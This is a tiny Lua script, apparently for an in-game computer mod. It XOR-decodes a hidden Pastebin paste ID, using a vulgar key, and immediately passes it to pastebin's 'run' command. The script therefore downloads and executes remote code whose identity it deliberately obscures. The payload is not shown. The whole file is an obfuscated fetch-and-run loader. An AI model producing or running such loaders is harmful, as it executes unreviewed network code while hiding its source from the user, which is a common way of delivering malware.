local bit32 = require ("bit32")

local function encrypt (str1, str2)
    local res = ""

	for i = 1, #str1 do
		local char = str2:sub (i % #str2 + 1, i % #str2 + 1)
        local byte = string.byte (char)

        res = res .. string.char (bit32.bxor (string.byte (str1:sub (i, i)), byte))
	end

    return res
end

loadfile ("/bin/pastebin.lua") ("run", encrypt ("K/&>/", "pizda"))